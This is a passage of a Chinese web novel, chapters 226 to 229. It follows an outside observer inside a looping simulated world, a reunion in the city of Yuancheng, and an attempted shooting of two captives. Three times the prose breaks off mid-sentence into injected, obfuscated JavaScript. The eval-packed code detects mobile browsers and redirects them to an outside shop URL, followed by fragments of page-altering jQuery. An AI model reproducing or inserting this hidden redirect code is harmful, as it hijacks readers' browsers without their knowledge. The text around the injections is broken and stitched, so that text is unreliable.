葛马耸耸肩,不以为意地说:“我倒是觉得没什么大不了。无聊了就给自己找点事做,这天底下的人我还没认全呢。” “他倒是乐观。”黎礼又转头冲着白熠说道。 “傻人有傻福吧。” “哈?”葛马发出质疑的声音。 另一边,杜光欧的心情因为几人的谈话而跌宕起伏。 这些家伙……居然全都知道轮回的概念? 226. 真实的目的4 这怎么可能…… 而且,根据他们刚才所说的,似乎成为孑塑者的人,可以突破轮回的限制,拥有连续的记忆。 也就是说,即便每次样界都进行重置,这里面所有个体的生命状态也会刷新,但葛马和那些他赋予权能的人却能保留上一个循环的记忆。 循环,轮回。他们在说的都是同一件事,从样界外部来看是循环,从内部来看则是轮回。 现在,杜光欧终于明白拥有那个权能的人能做到什么了。 但是,在弄清楚这一点的同时,新的疑惑接踵而至。 如果这个样界里面的个体知道自己处于一个不断循环的世界当中,他们会怎么做?会生出什么自我意识吗?会想要打破生命的局限吗? 这些疑惑很快便在杜光欧的脑海里得到了解答。 答案是,是的。 从这一众人的举动里,从白熠所说的话中,从葛马曾经提到过的“新世界”中,从他们想要挣脱、反抗什么的行径之中,可以看出,他们的确抱有突破这个无尽轮回的愿望。 但这是不可能的,杜光欧心想。 他们即便会反抗,也不过是命定的程序。反抗是人类天性中的一部分,这些模拟人类的“个体”自然也会产生类似的行为。 他们会反抗,但绝对不会觉醒。这是他们作为样界之中的个体的局限,也是他们虚构生命的壁垒。 这时候,在空荡荡的教堂之中,葛马突然向杜光欧投来了视线,像是终于注意到他的存在一般,但是,红发男人的表情并没有什么变化,所以,他知道对方在这里,只是一直没有去看。 现在他在认真地盯着他,并问道:“你呢,你怎么想?你觉得我们能成功吗?” 杜光欧有些无语地盯着葛马,一言不发。 葛马一拍脑袋,这才想起来什么,“哦,你的嘴被封着呢,没法说话。” “别对他做什么,就这么放着。”黎礼出声提醒道,“待在这里,他的使命就完成了。” “嗯。”葛马应了一声,然而,专注的视线还是没有移走,像是想要从他身上看出来什么一般。 杜光欧也是一样,他盯着葛马,用眼神传递自己的疑惑。 他想要说话,想问问对方:你究竟是什么。为什么能赋予别人突破轮回记忆限制的权能,你知不知道样界的概念,是否清楚自己活在一个怎样的世界上。 葛马走了过来,蹲下,近距离看着倒在地上狼狈不堪的杜光欧,自顾自地说了起来,“你知道吗?不久,会有一股寒流从叱云颠的方向席卷而来,天地会在绝对的寒冷之中归于死寂,而后重新来过。这次轮回中,风暴已经不远了。” 杜光欧斜眼看他,说不了话,只能发出一段简短又意义不明的呜呜声。 ——我当然知道啊,葛马,我在外面什么都看到了。 “元城是我们唯一的希望。”红发的西索人说,“我们一致认为,只要温度不下降到一定的阈值,世界就不会毁灭。而元城里有相应的技术,能够帮我们对抗寒冷。” 葛马说完了这些话就站起来,回到了和白熠黎礼两人的交谈中。就仿佛过来这么一趟,只是为了告诉他那些信息。 果然这些人的目的是唤醒元城。杜光欧想道。 样界会在温度降低至绝对零度之后重启,进入下一个循环。没想到这种信息他们都推测出来了。 是葛马想到的吗?不,以这个个体表现出来的智商,应该是不会想出这种结论的吧。 更有可能的是,他把自己所有的经历告诉了别人,由别人推断出了这个结论。而那个帮忙得出结论的人……怎么想都是白熠,只有他猜到了杜光欧和制造低温的始作俑者是同一类人。那个个体无疑有这样的智能。 不过,假设他们已经知道了破解循环的办法,继续进行下去就是了,那把他抓过来的意义是什么? 现在,自己在这些人的眼中,应该只是一个想要复仇的血皑王室。如果只是为了确保黎礼的安全,想要排除不确定因素,那随便把他拘禁在什么地方就行了,特意把他带到元城里来是想干什么? 难道,是白熠把对于杜光欧身份的推测透露了出来,所以这些人想要对他做什么吗?可是那样的话,自己在这些人的心中,大概率和低温制造者是同伴,是“可能阻止元城唤醒计划的人”,如果是这样,他们不可能大张旗鼓地在他面前商议计划。由此可见,关于对杜光欧身份的推测,白熠一定什么都还没透露。 那把他特意带过来这里,还有什么原因? 杜光欧转移视线,看向那几人之中的女人。 话说回来,之前黎礼好像说,“这个距离应该就能波及到他了”,那句话是什么意思? 距离、波及,怎么听都像是自己会被牵连到什么事情中去。他是不死的,大废周章想要杀他没有意义,这些人心里也应该明白…… 等等,难道,这些人其实不是想杀他,而是想利用回溯力吗?白熠加入了黎礼的阵营,这个男人从最开始就比杜光欧自己更会对这个能力加以利用。难道是他想要做什么? 杜光欧又紧盯着那个在攀谈的白发男人。 可是,做什么?唤醒元城为什么需要用到回溯力?他的能力充其量能做到的,只是在自身死亡的时候,让时间回溯到过去。 难道是想进行什么实验一类的吗?毕竟元城里存在大规模的杀伤性武器。又或者是想到了什么对抗寒冷的办法,因于过于危险,所以需要先进行几次“没有代价的”尝试。 现在只能这么推测。如果这样的话,那么他在这里的原因就能解释得通了。实验的结果不尽人意,就杀了他、或者“波及”他以便重新来过。 但是,这真的合理吗?假设自己死了,实验回到原点,那么中间过程会因为他的回溯力而被抺消,这些人什么实验过程都不会记得…… 不,不能这么想。 杜光欧的视线投向在场的第三个人。 葛马那家伙也在这里,虽然还不知道对方究竟是个什么东西,但是有两点可以确定,其一,他拥有继承过往轮回记忆的能力,其二,他能够遍履回溯力的死亡分支——即是说,回退的时间里发生的事,葛马也能看得见。 也就是说,这个世界上不管发生什么,他都知道。而这些人无论想要进行什么实验,葛马都能看见中间过程,从中吸取失败的教训,然后…… 等等,“不管世界上发生什么,他都知道”? 杜光欧因为新生的想法而皱紧眉头,几乎是瞪着那个红发的男人。 这种描述……虽然是他脑海里偶然想出来的一个对葛马能力的总结。但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963494|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仔细想想的话……不管是在样界里,还是在现实世界里,一般什么东西才会获有这种形容? 一个对世界无所不知、无所不见的个体,基于地区可能有各异的称呼,但人们大多称之为——神。 “所以,接下来还是照计划进行,对吧?”葛马朝他对面两个人问道。 白熠道:“现在只等夏未信找到点灯人,把她带去圣殿,下一步,我们就启动唤醒程序。” “好,那我也走了。”葛马说。 杜光欧以为男人会转身离开,但是,没有,红发男人没有移动,而是身体开始发光,渐渐碎成了一片片裂块。 什…… 杜光欧震惊地盯着他。 然而,另外两人却对眼前这一幕没什么反应,就好像已经司空见惯了一样。 躯体在变得碎裂、透明的过程中,葛马最后说道:“我去确保一切顺利,希望事情能按照预想进行下去。” 说完这话,他的身影便凭空消失了。 杜光欧久久盯着男人消失的地方,迟迟不能回神。 样界中的个体……能做到这种事吗? 就算他们不是真实的生命,但也是人类的仿制品。外界的人类做不到什么,他们也做不到。 可是这…… 这太超常。 渐渐地,杜光欧眼中的惊讶与困惑被一种更为幽深的神情所取代。 葛马……是吧。 ……就是你了。 不管怎么想,你才是最不对劲的那个。 无法被外界观测的个体,突破轮回的记忆,超出常理的移动方式……结论已经很明显了。 之前只是想追上你,问一些问题,或者从你身上观察出来什么。但现在已经没有那个必要。 葛马,你就是问题所在。 而我的任务,毫无疑问,就是消灭你。 ## 元城,山底隧道。 “母上,等等!”古古跟在点灯人——那个一度拿着扳手追着她打的老女人——的后面,后者的步伐很快,她几乎跟不上,“等等、母上,我跟不上您了!” 点灯人头也不回地往前走,留下一个苍老但强劲的背影。 古古实在是追不上、跑不动了,只好停下来,大口喘着气,喊道:“您别生气了,我认错好不好?别累到您自己的身体——” 她说完这番话,点灯人突然停下了脚步,回过神来,苍老的面容无比严厉,“你现在知道道歉了?当时骗我放那两个家伙离开的时候干什么去了?” 古古喘息着,这时候,一个男人从后面不远处的洞窟里钻了出来,也是一副气喘吁吁的模样。那是鹿力喜,他们两个人正追着点灯人,点灯人正在前往控制室,她想要关闭元城山底的通道。 古古扶着自己的膝盖,说道:“他们的确拿走了一些东西,但我想他们应该没有什么恶意——” “没什么恶意?”点灯人重复道,她走到古古的面前,像是个厉鬼一般,脸上全都是光线照射出来的阴霾,“没有恶意,他们会窃取我们的技术?没有恶意,那个摄文的棕毛小子会大张旗鼓把我们的地盘当成自己家的,领着他的士兵大摇大摆从山底下穿过?我就不该相信你们,说什么打开了通路之后,他们就会老老实实离开这里。一个两个手都不干净!” 227. 请离点灯1 “母上,他们也都解释过了,那是不得已,他们在对抗更加强大的敌人,一个四处肆虐烧杀掠夺的女人,黎礼。我跟您说了,那也是我的敌人呀,她是全世界的敌人。”古古说道。 点灯人哼了一声,说道:“那也是外面的事,和我没关系!” 古古平复了半天呼吸,终于感觉身体里的气息不再那么紊乱,喉咙也没有烧焦的感觉了。她这才直起了腰板,凑近了点灯人,讨好地扶起她的胳膊,说道:“母上,您就当他们是在帮我复仇,好吗?别气坏了您自己的身体。” “是啊,母上,小古说的对,您的身体最重要。”鹿力喜也凑上来扶着她另一条胳膊,说道。 “哼。”点灯人在两人的搀扶下,似是改变了主意,颇为傲气地往回走了一段,可没走几步就嚷嚷着累了。 离控制室不远的地方,有一片联排的石屋,他们进入了其中一间,找了个地方坐下来。 当时,他们为闻人佐和杜光欧那两人爆破了山脚下的通路,以便他们离开。两人走后,过了一阵,点灯人发觉元城中的武器库遭到了偷窃。那时候,她说什么也要追上他们,把东西抢回来,奈何,那两人已经离开太久,不知身在何处了,于是只好作罢。 后来又过了一阵子,闻人佐带着大军回来,大摇大摆地从山底穿过了元城。他解释说战争就要开始,只好借路,还请多担待。 虽然摄文的大元帅态度十分真诚,可点灯人还是气炸了。像是精心打理的苗圃被人践踏一般,直到摄文军从南边离开,她还在气头上。 古古安慰她安慰了好一阵子,然而,她的心情就是不见好,一直怒气冲冲,仿佛对什么事情都不满意。 此刻,点灯人的模样难得有些累了,她坐在一把浅蓝色喷漆的扶手椅上,拄着自己的额头,没有再和古古他们争执不休。 和她相处的时间长了,古古发觉,这个年迈的老者虽然脾气暴躁,但也不是不讲道理,只要好好说话,她基本都能听得进去。 当下,古古坐在点灯人的一旁,说道:“那个摄文的大元帅,他打完了仗回来,肯定是还要经过元城的。那时候,军队一定非常疲惫,如果他们好不容易走到了雪山的山脚下,却发现通路已经堵死了,就不得不另择道路。而据我所知,他们如果想要回到摄文,就只有西边的白鸣谷一条路可以走,如果绕路去那里的话,又是几十天的路程,天气这么冷,军中的许多士兵都会因此而死。母上,我知道您也不希望看到这种残忍事情发生的……” 点灯人又是哼了一声,说道:“从大洪水之前我就在元城,你觉得,残忍的事情,我见的还少吗?” “不少,不少。”古古连忙顺着老人的话说道,“但是,这种事情不是越少越好吗?” “多一件、少一件,没什么差别。那些都是乌合之众,是些为权力而战的一群没有灵魂的野鬼,死了也不足为惜。” 古古的声音弱下来,“也不能这么说吧……” 点灯人看了古古一眼,似乎通过眼神嗤了她一声,而她道:“你也是,身为元城的子民,作为你母亲古奈歌的后代,应该知道什么重要,什么不重要。” 古古抿了抿嘴,不说话。 点灯人依然盯着她,半晌,她说道:“你说的那个黎礼,到底是什么人,她把你怎么了,你这么执着地把她当成是仇人?” 古古垂着眼睛,说道:“她践踏了我曾经赖以生存的城市,伤害了我在乎的人。” “哦,是这些世俗的恩怨。”点灯人道。 “母上,我没有您的崇高,没法笼统地把它称之为什么世俗的恩怨,这对我来说就是天大的事。”古古道。 点灯人挑了挑眉,却是收起了自己的严肃,“那你打算怎么做,就这么陪着我这个老婆子,仇人就自己消失啦?” “这不是看您一个人孤零零的,我要是和阿喜都走了,不就又没人陪你了吗?” “嗐,别把我说得那么可怜,这几十年我一个人待着可惬意了,你们赖在这里不走麻烦事才多。” “母上……” 古古还想说些什么,突然,一阵脚步声打断了她。似乎有人在朝石屋接近,听声音不止一个人。 听到脚步声,点灯人倏一下站起来,撸胳膊挽袖子,又是一副愤愤不平的模样,“一定是那两个毛头小子回来了。随随便便窃取别人的成果,我要他们好看!” 这时鹿力喜也站起来,挡在点灯人的前面,“母上,先别冲动,好像不止两个人。” 石屋没有门,它在大洪水席卷元城的那年,已经不知道被冲到了哪里去。 轻重不一的脚步声越走越近,最后,停在了石屋的门口。 空荡荡的门前出现了三个人影,为首的是一个女人,她留着一头短发,干净、利落,腰旁配着一把刀,外加一把口径极大的长枪。身上穿得很少,整个腰腹都露在外面,像是不怕冷一般,丝毫没有打颤的迹象。 古古看着这个女人,只觉得陌生。然而,她身边的点灯人和鹿力喜却是沉默着,两人的表情多少有些异样。 门前的女人走上来前来,突然,毕恭毕敬在他们前面跪下,面朝石地。 “母上,您虔诚的儿女夏未信,现在回来了。”短发的女人说道。 古古一愣,这个人也称呼点灯人为母上,难道对方也是元城的人……? 点灯人没出什么动静,反而是一旁的鹿力喜说话了,“啊,你姓夏?那个黄王亲领的武士家族?” “是的。”夏未信抬头,看了鹿力喜一眼,说道,“我没见过你,但看你的衣装,应该是科研部门的人。” “对,我是。”鹿力喜说,像是见到了老熟人一般,他推了一把眼镜,忙不迭自我介绍起来。“唉,没见过我也正常,我只是一个不知名的小操作员罢了……” 夏未信扫视了一番,对点灯人说道:“母上,您还在将冰眠人逐一唤醒,是吗?还在进行黄王留给您的……他未竟的事业。” 点灯人的模样染上些潇洒的意味,“当然了,再给我个十几年,我差不多就能完成那小子的遗愿了吧。” 夏未信一笑,不知道她为何而笑,“他信任您。” 点灯人的脸上露出一丝不易觉察的自豪,“当然了。” 这时候,夏未信身后的一个身影动了动,走到了前面来。 那是个年轻女人,看模样大概二十岁左右,她目光落在最为苍都的女人身上,朝夏未信问道:“她就是你说的母上?” 夏未信没有理会这个冒然打断谈话的女人,而是继续和点灯人交谈,“母上,有人正在等您,还请随我来一趟。” 点灯人皱眉,问:“谁?” 夏未信道:“您和黄王的女儿。” 话音刚落,点灯人一下子睁大了眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973294|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“她回来了?” 夏未信道:“是的。” 点灯人的模样有些犹豫,“这个时候回来,是什么意思……” 听到这里,古古不禁讶异。 点灯人和黄王的女儿?据传闻,黄王一生只娶过一个妻子,也只与她一人有过子嗣。 点灯人……黄王…… 莫非,点灯人其实是—— 古古向点灯人投去视线,有些恍然大悟。 对了,她怎么没想到。鹿力喜管点灯人叫母上,所以自己就跟着叫了起来。但是,她从来没有想过为什么要这么称呼她,起初只以为对方是一个值得尊敬的人,可现在想来,元城里面还有什么人能配得上这个称呼?那就只有…… 古古盯着点灯人,试探性地问道:“难道,母上,您就是……黄王的妻子,黎涵挚?” 点灯人看向古古,挑起一根眉毛,有些好笑地道:“怎么了,小丫头,和我一起待了这么多天了,你现在才知道?” 另一边,鹿力喜也是满脸惊讶,“啊?小古,我以为你知道。” “你们都没告诉我……”古古有些呆愣,看看鹿力喜,又看看点灯人,“您、您居然还活着……” 点灯人哼笑,面朝着空气扬起头,道:“呦,这是盼着我死呢。” “不、不,绝对没有这个意思。”古古连连摇头,否定道。 这时候,夏未信身边那个年轻女人往前走了几步,她一身精薄的铠甲,腰侧挂着一把□□,模样有些兴奋,长睫下的眼睛睁得大大的,“既然你是母亲的母亲,那我应该称呼你为姥姥,这没错吧?” 点灯人黎涵挚盯着眼前这个女人,说道:“你是谁?” “我名叫黎梦。”女人说道,笑颜如花,“是我母亲黎礼的女儿。” 她说完,石屋内陷入了持久的寂静。 古古盯着这个女人,突然,有一种不好的感觉从她的心底升了起来。 她刚才说什么?这个笑起来十足可爱的女孩,说她自己是……黎礼的女儿? 那个占领了血皑,摧毁了甾染的女人……这个笑容甜美、声音悦耳的女孩,是她的女儿? 古古来回看着黎梦和黎涵挚,直到现在,她突然在她们的脸上看出了一种只属于血缘的、极其相似的地方。 “黎礼……”黎涵挚念叨着这个名字,她朝夏未信看过去,确认道,“这叫黎梦的没点规矩的小姑娘说的人是谁?黎礼……黎礼就是黄礼吗?” 夏未信毕恭毕敬地回答,“是的。您与黄王的女儿黄礼,在离开元城之后,为了隐藏自己的身份,而沿用了您的姓氏。毕竟……黄王的血脉流落在外,如再沿用黄姓,还是太容易招来祸端了。” “仅仅是因为一个姓氏?”黎涵挚问。 “是。”夏未信答,“您还记得李琳吗?就是那位一直辅佐黄王的女名将,她的后代李尘书为了吸引注意、掩护黄王血脉,改名为黄昔寒。而在他改用这个名字的仅第二年,人就疯了。” “……” “是有人对他做了什么,母上。”夏未信说,声音放轻了,“我们依然在被监视着。” “……看来是这样。”黎涵挚思考了片刻,有些感慨地说道。然而,下一刻,她的视线倏然朝古古刺来,像是一把寒刀,声音也犹如冬雪一样凛冽,“小丫头,你之前提到的‘黎礼’,指的就是我的女儿吗?” 228. 请离点灯2 古古咽了一口口水,她感受到了一股无形的压力。仿佛一瞬间被抛进了黑色的死水里面,孤立无援。 点灯人是黎涵挚,黎涵挚和黄王的女儿是黎礼,也就是说,老人的女儿是自己的仇人。 她们是一家人,但古古不是。 她如果回答,“没错,您的女儿就是我的仇敌”,事情会变成怎么样? 怎么想下场都很惨烈。 且不说对面那个一身铠甲的黎梦肯定和点灯人处于同一阵线,腰侧挂着长枪和直刀的夏未信也绝对会站在她们一方,古古自己只是一个手无寸铁的矮小女人,那句话要是敢说出去,可能下一秒命就没了。 “怎么了,小丫头片子,不会说话了?”黎涵挚盯着古古,而古古侧对着她,不敢回望。黎涵挚便继续盯着,目不转睛,似乎眼珠子都要掉下来一般,“我在问你话呢,她们口中的黎礼,是你所说的那个‘黎礼’吗?” 古古又咽了一口口水,她张口,只听自己的声音弱不可闻,“我……” 黎涵挚侧过头来,附耳上来,说道:“什么?我听不清。” “我……”古古说道,她的嘴巴蠕动着,但是最后几个音节没有发出来。 “听、不、清。”黎涵挚大声说道。 古古紧张地坐着,整个人都僵住了。 就在这时,一个宽厚的手掌握了握她的手。她微微转过头去,发现那是鹿力喜,男人镜片后的双眼毫无惧意,朝点灯人大声否定道:“不是!” “……哼,随便吧。”黎涵挚看着这对年龄差不了几岁的父女,失去了兴致似的说道。她猛然抽身,从古古的身边站了起来,面朝那两个年轻女人问,“我女儿在哪?” 夏未信侧身,让出了一条路来,“请跟我来吧,我们去圣殿,她就在那里等您。” “哦。”黎涵挚一笑,“直接去圣殿啊,这么迫不及待,看来她已经做好所有准备了。” 夏未信简略地答道:“嗯,是的。” 黎涵挚正要往前走,突然,她回过头来,看了古古和鹿力喜一眼,说道:“你们还有没有其他人手,把这两个人给我送到冷冻舱去。” 夏未信一愣,“是要把他们……” 黎涵挚没听对方说完,便说道:“是。” “擎天。”夏未信喊了一声,从门外面走出来一个高大的男人,他刚才似乎一直待在门口,等待夏未信的命令,“你还记得冷冻舱的位置吗?” 高大的黑发男人却是摇了摇头,“冰眠人相关的研究,我几乎没有接触过。” “这……”夏未信模样似乎有些难办。 听到这里,古古只觉得身体遍布一层寒霜。冷冻舱,难道是她之前看到的那个舱室?里面成排地摆放着冰冻起来的人,没有呼吸,没有温度,就像是死了一般。难道黎涵挚要把他们也封藏起来? 鹿力喜听完,像是意识到了什么,说道:“等等,母上,您又要我回到那里?为什么?我可不想再睡死过去了……” 黎涵挚没有回答他的问话,只是向夏未信说道:“那就先把他们扣压在这里,让他们老老实实在这待着,之后再说。” 夏未信听了,道:“擎天,你留下来。” “还是我来吧。”这时候,黎梦突然站出来,眼睛亮亮地,盯着古古和鹿力喜两人,自告奋勇地提议。 夏未信:“也好,那我们先与黎礼汇合,之后再来找你。” 交流过后,人们各自行动了起来。 夏未信、擎天和黎涵挚一起,离开了这个不太大的石屋。 而那个一身铠甲、长相甜美的女人则留了下来。 而后,女人从门口拿来了一张椅子,那张椅子一开始和地面粘在了一起,它四条腿上都结着寒霜,看上去几乎和地面形成了一体。然而,这个模样天真可爱的女孩,却是一只手拉住椅子的边缘,只是那么猛地一提,轻而易举就将它从冰里面抽出来了。 黎梦把椅子拎过来,放在古古和鹿力喜的面前,她坐上去,翘起了一条腿,一副优哉游哉的模样,说道:“好了,现在,让我们来聊聊吧。” 古古审慎地盯着她,对方是黎梦,黎涵挚的女儿。她不知道对方是否知道她的身份原是甾染人,是否知道她把她的母亲当做是仇人。 无论是从对方铠甲下隐约可见的身体线条,还是从她随随便便将椅子从冰里面拔出来的力道,都可以看出,这个女人绝对不是好惹的。 古古小心谨慎地问道:“你想聊什么?” 黎梦道:“你们是元城人,是吗?” 古古简略地回答:“算是。” 她回答得相当谨慎,鹿力喜无疑是元城的人,但是,她自己却并不完全算是。她在甾染出身,但母亲古奈歌是元城重要的科学家,她是为了弄清楚自己的身世才来到了这里,所以,她只能勉强说得上是一个元城人。 黎梦低吟了一声,说道:“反正现在也没什么事,跟我讲讲元城这个地方吧。” 古古听闻,有些疑惑地说道:“你是黎礼的女儿……你不知道元城的事吗?” “……不知道哦,可以说知之甚少,母亲几乎都不怎么对我讲。”黎梦举起一条胳膊,肘部拄在自己的腿上,眼睛笑眯眯的,脸上堆起一小块白嫩的肉,“另外,我必须强调一点。当我问你什么问题的时候,回答我的问题就可以了,不要反过来问我问题,我不喜欢这样。” 古古瘪了瘪嘴,果然,不光武力上难以对付,对方的性格看上去也不是那么好相处。 “母亲是那个什么黄王的女儿,这件事,我也是最近才听说的。”黎梦说道,“所以,黄王是个什么人?我看到血皑城南部的森林有他的雕像,大家都当宝贝一样供着。他是什么很厉害的人物吗?” 古古顿了顿,正在琢磨怎么说,但还未等她说什么,一旁的鹿力喜开口了,“他是元城的领导人,第十五届。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989643|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦,还有呢?这世上的领导人多了去了,我没见到其他人有这种实力,能让人们相隔这么远的距离,把他的造像从元城建设到血皑的南部去。”黎梦道。 “他和以往的人类领袖都不一样。”说这些话的时候,鹿力喜推了一下眼镜,表情郑重地描述起往夕的岁月,“他是年纪最小的元城的领导人,仅仅在不到二十岁的年纪,就坐在了那把交椅之上,领导我们成就了许多壮举,许多……前人们都做不到的事情。他保护我们、爱护我们,在那样一个充满了敌意的世界上,想尽办法和这冰天雪地抗衡,让我们存续下来。他燃烧了自己的生命,确保我们将来某日能够拥有一个温暖纯洁的人类花园,在那里,我们可以——” “停。”黎梦突然打断了他,而后说道,“下一个问题。我的母亲,包括刚才名叫夏未信的那个女人,她们似乎都是曾是元城人,且都是黄王那个时代的人。但据我所知,黄王的时代距离现在已经一百年过去了。能让他们在寒冰中沉睡,而后在将来的某一刻醒来……这是元城的技术吗?” 鹿力喜似乎没有因为对方的打断而感到不悦,他继续说道:“是的,这也是黄王引领我们发明的技术之一。他开启了许多科研方向,有些失败了,但也有一部分成功。那些技术给我们的生活提供了保障,又让我们在那场大洪水中活了下来……虽然不是所有人,但是,绝大多数吧。” 黎梦:“所以,这个技术就是把人像冰糕一样冻起来,需要醒来的时候再化冻?” “原理上讲是这样没错,但是因为人体的构造非常复杂,其实需要非常精密的技术。”鹿力喜说,“不过,这种技术已经被我们完全掌握,我完好无损地站在这里就是一个确凿的证明。” 黎梦上下扫视了鹿力喜一番,与此同时,古古也盯着男人。 古古不明白,鹿力喜为什么要这么积极地给黎梦讲他们的事情,对方怎么看都是他们的扣押者,是敌人的女儿,他到底有什么和她好说的? 黎梦在打量完鹿力喜之后,说道:“这种冰冻过的人,醒来之后,有什么特征吗?” 鹿力喜沉吟一声,说道:“唔,应该会比较不怕冷?然后,因为每个人的身体构造不一样,如果要为每一个人的身体外形去制造一个熔炉,那么,化冻这件事,可能一个月才能处理好一个人……所以,大家都用一个模子。用一个模子,就会有些人照顾不到。比如太高的人,太矮的人,太壮的人,太瘦的人,他们的身体差异和平均值差距越大,就越容易留下化冻后的痕迹。” 黎梦:“具体表现是?” 鹿力喜开口,此刻的他,像是一个专业的科学家一般,目光专注,言语缜密,“具体表现就是,因为模子对不上他们的身体,所以身体各部位解冻的速度会不一样。但是,那些先化解的身体部位已经开始自动运作,而那些依然在冰冻状态下的部分会被其他身体组织视为坏死,而后,那里会渐渐留下伤疤。至于最终的表现……” 229. 抗黎梦1 说到这里,鹿力喜卷起了自己的袖子,在他小臂的内侧,有一条长长的疤痕,那看上去不是什么陈年旧伤,“这个,就是我因为化冻而留下来的伤痕。每个人因为身体构造的不同,多多少少都会留下这样的痕迹。哦,对了,刚才那个高个子男人,他身上的疤痕,估计就是这么形成的。他太高了,估计身体各处都出现了融化速度不一的情况,能在熔炉之中活下来,也是挺不容易的。按理来说母上不会挑选这么例外的人去做处理,除非有什么一定要把他带出来的理由……” 黎梦眨了眨眼睛,她观摩着鹿力喜胳膊上的那条冻伤,而后,又看了一番自己的身体,像是也想要在自己的身体上找出相似的痕迹似的。但是,她的皮肤光滑、整洁,最多有些战争留下的大大小小的伤痕,而没有像元城人这样的冻伤。 “嗯,果然还是有些差异……”黎梦嘀咕着,没人知道她具体是什么意思,她继而说道,“所以,你们那个黄王这么厉害,为什么不把自己也冰冻起来,等将来某天有人把他解救出来,他又能领导这座城市了。” 鹿力喜摇了摇头,说道:“王他……有不得不离开这里的理由。如果他身在元城,我们所遭遇的,可能不仅仅是洪水这么简单,极有可能,这整座城市都会毁于一旦。” 黎梦一笑,“怎么,他所在的地方,天灾就会发生得比较频繁?” 鹿力喜盯着黎梦,目光灼灼,像是有什么深入骨髓的恨意,“是的。王所到之处,灾难总是紧随而至。” 话音落下,黎梦挑了挑眉,像是不怎么相信。 古古盯着鹿力喜。那种记恨的、仇怨的眼神,她似乎在哪见过。 她想了想,对了,是自己的母亲。当古奈歌提起元城的时候,也是这种表情,有一种仿佛在血里流淌着的恨意,即便是这副身体陨落,也不会消弭一般。 “所以,他离开了你们。”黎梦换了一条腿,继续翘她的二郎腿,“然后,死在了黄守之森那地方。” “不知道后来发生了什么,我也是最近才醒来的。”鹿力喜说道,“我沉睡的时候,王……刚刚踏上离开这里的征程。” “这个黄王究竟叫什么?”黎梦问道。 “黄王就叫黄王。”鹿力喜说道,“他姓黄名王,生来,名字里就带着一个王字。” 黎梦挠了挠自己的脸,盯着石屋角落的一处,自言自语似的说道:“所以,母亲作为黄王的孩子,她想要做的,就是唤醒这座城市……嗯,我差不多懂了。” 距离点灯人离开已经过去了有一阵,他们也聊得差不多了。 转瞬之间,女人的眼神有些冰冷,她站起来,手搭在自己的腰侧,那里有一把黑色的手枪,黎梦摸索着它,模样像在思索,“好了,我的问题都问完了,现在……得回去找母亲了。” 听到这句话的时候,古古心里燃起了一丝希冀。她想,这句话的意思,是不是代表黎梦不打算管他们了? 但是,接下来,眼前的场景否认了她的猜测。 黎梦从腰侧解下了那把枪,不怎么熟练地往里面填弹,上膛,像是第一次用这种武器一般,“这样就可以射击了?果然,元城的枪,制式和我们之前用的不一样,方便多了。” “你要干什么?”鹿力喜音色紧张地问道,把古古拦在了身后,“你想听的回答我都告诉你了,你还有什么不满的,为什么要这么做?” “没什么不满,只是因为麻烦。”黎梦说道,抬起手中的枪,指向了对面的一男一女,“我自告奋勇留下来,不是为了花时间看管你们。只是因为你们知道一些我想知道的事情,而我又不好朝母亲开口问,所以,只好问你们了。” “黎涵挚没说让你杀了我们。”鹿力喜说道。 “啊。”黎梦道,“我又不归她管,她只是个老太婆罢了,不是什么人都可以对我发号施令。现在,我要离开了。以免你们告诉母亲我曾经向你们问过这些问题……还请你们去死吧。” 她说完,几乎没有任何地停顿,手指按下了扳机。 嘭的一声,有什么东西急速袭来。鹿力喜抱着古古往一旁躲去,两人摔在地上,惊魂未定。 “……歪了。”黎梦收回手枪,在自己的眼前观摩,道,“手感和之前那种不一样,得花时间再练习了。” 而后,她把枪口又对准了鹿力喜和古古两人,又是一枪。 两人抱着头,无处可逃。 但是,扳机扣下去,这回却没有相应的巨响传来。黎梦晃了晃手里的枪,声音疑惑,“怎么回事,里面应该有子弹来着……呃,这是、还要再上一次膛?怎么跟哥哥用的那把不一样,他的就可以连发……” 黎梦嘀咕着,在那手枪的转轮上操作了起来。 便是看准了这个时机,瞬间,鹿力喜拉着古古往门口跑去,一个猛甩,将她扔到了屋门外。 古古一下子扑在地上,回身,看到屋内的情况时,心中一紧。 鹿力喜没能跑出来,半路被黎梦截住了。女人戴着护甲的手腕抓着他的脖子,像是拎一只家禽一样,把男人轻而易举地提了起来。 “唔……”鹿力喜的脸很快红了,他蹬踹着,眼镜都挣掉了,但是,无法从黎梦的桎梏下逃脱出来。 